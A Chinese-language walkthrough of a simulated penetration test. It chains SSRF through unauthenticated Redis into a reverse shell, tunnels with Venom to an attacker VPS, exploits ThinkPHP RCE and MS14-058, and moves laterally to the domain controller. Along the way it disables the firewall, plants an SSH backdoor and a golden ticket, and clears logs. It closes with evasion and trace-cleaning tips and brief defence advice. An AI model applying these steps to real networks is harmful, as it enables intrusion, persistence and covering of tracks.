SSRF-->Redis-->DC 全过程模拟记录
字数 1494 2025-08-20 18:17:47

SSRF→Redis→域控渗透全过程技术分析

0x00 环境概述

本次渗透测试模拟了一个典型的企业网络环境架构:

  • 网络拓扑

    • DMZ区:Linux服务器(运行Redis和Web服务),不在域内
    • 内网区:Windows Web服务器(ThinkPHP框架),已加入域
    • 域控服务器:192.168.138.138
  • 初始攻击面

    • 外网Web应用存在SSRF漏洞
    • Redis服务存在未授权访问漏洞(版本5.0.9)
    • 内网Web应用存在ThinkPHP RCE漏洞

0x01 外网突破阶段

1. SSRF漏洞利用

关键步骤

  1. 发现Web应用存在无协议限制的SSRF漏洞
  2. 通过SSRF探测本机端口,发现6379端口开放
  3. 确认Redis服务存在未授权访问漏洞

技术验证

ssrf.php?url=dict://127.0.0.1:6379/info

2. Redis未授权访问利用

攻击方法

  1. 使用Gopher协议构造Redis命令
  2. 通过写计划任务实现反弹shell

工具使用

# 使用gopher-redis-auth生成攻击payload
python gopher-redis-auth.py -h 127.0.0.1 -p 6379 -L [攻击机IP] -P [监听端口] -f redis.txt

Shell升级

# 目标机执行(哑Shell升级)
python -c 'import pty; pty.spawn("/bin/bash")'

0x02 内网横向渗透

1. 内网隧道建立

工具选择:Venom多级代理工具

实施步骤

  1. 在攻击机启动监听:
    ./admin_linux_x64 -lport 9999
    
  2. 目标机连接:
    ./agent_linux_x64 -rhost [VPS_IP] -rport 9999
    

网络探测

nmap -sS -Pn 192.168.135.0/24

发现关键主机:192.168.135.150(内网Web服务器)

2. ThinkPHP RCE利用

漏洞确认

  • 框架识别:ThinkPHP
  • 存在已知RCE漏洞

攻击实施

  1. 生成CS的Payload
  2. 通过RCE下载执行,上线Web服务器

权限提升

# 使用MS14-058提权
use exploit/windows/local/ms14_058_track_popup_menu

3. 域内信息收集

关键命令

net group "Domain Admins" /domain  # 查询域管理员
arp -a                            # 查看ARP缓存
ping DC01                         # 确认域控IP

发现结果

  • 域控IP:192.168.138.138
  • 获取到域管理员明文密码

0x03 域控攻陷

1. 权限伪造

攻击方法

  • 使用已获取的域管理员凭证伪造Token

2. 横向移动

实施步骤

  1. 在内网Web服务器设置中转监听
  2. 通过CS的psexec模块远程执行Payload
  3. 关闭域控防火墙:
    netsh advfirewall set allprofiles state off
    

3. 权限维持

后门部署

  1. Linux主机:部署SSH后门
  2. Windows主机:黄金票据+计划任务

日志清理

  • 清除Redis、Web、域控等各环节日志

0x04 技术总结

攻击路径

SSRF → Redis未授权访问 → 反弹Shell → 内网代理 → ThinkPHP RCE → 凭证窃取 → 域控攻陷

关键点

  1. 协议利用:Gopher协议在SSRF中的灵活应用
  2. 权限维持:Venom代理+CS双重通道
  3. 横向移动:从非域主机→域内主机→域控的标准路径
  4. 规避检测:全程无杀软环境下操作,真实环境需考虑免杀

防御建议

  1. Redis服务应设置密码认证
  2. 限制SSRF的协议类型和目标地址
  3. 内网服务应及时修补已知漏洞(如ThinkPHP RCE)
  4. 实施网络分段,限制域内横向移动

0x05 工具列表

  1. Venomhttps://github.com/Dliv3/Venom

    • 多级代理工具,支持多种协议和平台
  2. gopher-redis-authhttps://github.com/LS95/gopher-redis-auth

    • Gopher协议Payload生成工具
  3. Cobalt Strike

    • 用于Payload生成、横向移动和权限维持
  4. Nmap

    • 内网端口扫描和服务识别
  5. Metasploit

    • 漏洞利用(MS14-058)和权限提升

附录:实战注意事项

  1. 扫描优化

    • 避免通过Socks代理直接扫描,建议:
      • 将工具落地到目标机执行
      • 使用CS插件扫描
      • 采用低速率扫描避免触发告警
  2. 时间控制

    • Redis写文件操作需注意目标系统的时间设置
    • 计划任务执行时间需合理设置
  3. 痕迹清理

    • Redis持久化文件清理
    • Windows事件日志清除
    • Web访问日志修改
  4. 备用通道

    • 建议建立至少2种不同的持久化通道
    • 如:SSH后门+CS Beacon+计划任务
SSRF→Redis→域控渗透全过程技术分析 0x00 环境概述 本次渗透测试模拟了一个典型的企业网络环境架构: 网络拓扑 : DMZ区:Linux服务器(运行Redis和Web服务),不在域内 内网区:Windows Web服务器(ThinkPHP框架),已加入域 域控服务器:192.168.138.138 初始攻击面 : 外网Web应用存在SSRF漏洞 Redis服务存在未授权访问漏洞(版本5.0.9) 内网Web应用存在ThinkPHP RCE漏洞 0x01 外网突破阶段 1. SSRF漏洞利用 关键步骤 : 发现Web应用存在无协议限制的SSRF漏洞 通过SSRF探测本机端口,发现6379端口开放 确认Redis服务存在未授权访问漏洞 技术验证 : 2. Redis未授权访问利用 攻击方法 : 使用Gopher协议构造Redis命令 通过写计划任务实现反弹shell 工具使用 : Shell升级 : 0x02 内网横向渗透 1. 内网隧道建立 工具选择 :Venom多级代理工具 实施步骤 : 在攻击机启动监听: 目标机连接: 网络探测 : 发现关键主机:192.168.135.150(内网Web服务器) 2. ThinkPHP RCE利用 漏洞确认 : 框架识别:ThinkPHP 存在已知RCE漏洞 攻击实施 : 生成CS的Payload 通过RCE下载执行,上线Web服务器 权限提升 : 3. 域内信息收集 关键命令 : 发现结果 : 域控IP:192.168.138.138 获取到域管理员明文密码 0x03 域控攻陷 1. 权限伪造 攻击方法 : 使用已获取的域管理员凭证伪造Token 2. 横向移动 实施步骤 : 在内网Web服务器设置中转监听 通过CS的psexec模块远程执行Payload 关闭域控防火墙: 3. 权限维持 后门部署 : Linux主机:部署SSH后门 Windows主机:黄金票据+计划任务 日志清理 : 清除Redis、Web、域控等各环节日志 0x04 技术总结 攻击路径 关键点 协议利用 :Gopher协议在SSRF中的灵活应用 权限维持 :Venom代理+CS双重通道 横向移动 :从非域主机→域内主机→域控的标准路径 规避检测 :全程无杀软环境下操作,真实环境需考虑免杀 防御建议 Redis服务应设置密码认证 限制SSRF的协议类型和目标地址 内网服务应及时修补已知漏洞(如ThinkPHP RCE) 实施网络分段,限制域内横向移动 0x05 工具列表 Venom : https://github.com/Dliv3/Venom 多级代理工具,支持多种协议和平台 gopher-redis-auth : https://github.com/LS95/gopher-redis-auth Gopher协议Payload生成工具 Cobalt Strike 用于Payload生成、横向移动和权限维持 Nmap 内网端口扫描和服务识别 Metasploit 漏洞利用(MS14-058)和权限提升 附录:实战注意事项 扫描优化 : 避免通过Socks代理直接扫描,建议: 将工具落地到目标机执行 使用CS插件扫描 采用低速率扫描避免触发告警 时间控制 : Redis写文件操作需注意目标系统的时间设置 计划任务执行时间需合理设置 痕迹清理 : Redis持久化文件清理 Windows事件日志清除 Web访问日志修改 备用通道 : 建议建立至少2种不同的持久化通道 如:SSH后门+CS Beacon+计划任务